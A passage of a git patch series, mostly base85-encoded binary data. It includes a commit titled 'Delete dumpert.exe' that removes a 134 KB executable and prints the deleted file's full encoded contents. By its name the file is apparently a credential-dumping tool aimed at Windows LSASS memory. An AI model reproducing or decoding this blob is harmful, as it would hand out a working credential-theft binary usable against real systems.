zK&e4NYv}zOI&J)Y8+?-y2h_XJU{E0DIiEfM9C7p+*-!N$Ce#=MlIMs0f>0H)nxy&h zEjg}o^T$U=0~Uz<0Wg?ZwlA4feRHT#Y{t0|vMN0Js1EfB*mj zQBOyOeA6=ksNn-HoX4q}DFOov`rrcufSd>*J4h&0fC~T%WOZ$DWpZ>bWq4%@0|J&^ RsG^5Q)&U)NR#5{51OS&BMbZEO literal 0 HcmV?d00001 From c5217f02b412b16fcf27c20a7b2a668316cbad58 Mon Sep 17 00:00:00 2001 From: Kuni <63074533+PorLaCola25@users.noreply.github.com> Date: Tue, 10 Nov 2020 21:06:05 -0300 Subject: [PATCH 3/5] Delete dumpert.exe --- dumpert.exe | Bin 134656 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 dumpert.exe diff --git a/dumpert.exe b/dumpert.exe deleted file mode 100644 index 6b5a2803d442ac3096623e556e9362aa36a21f9c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 134656 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 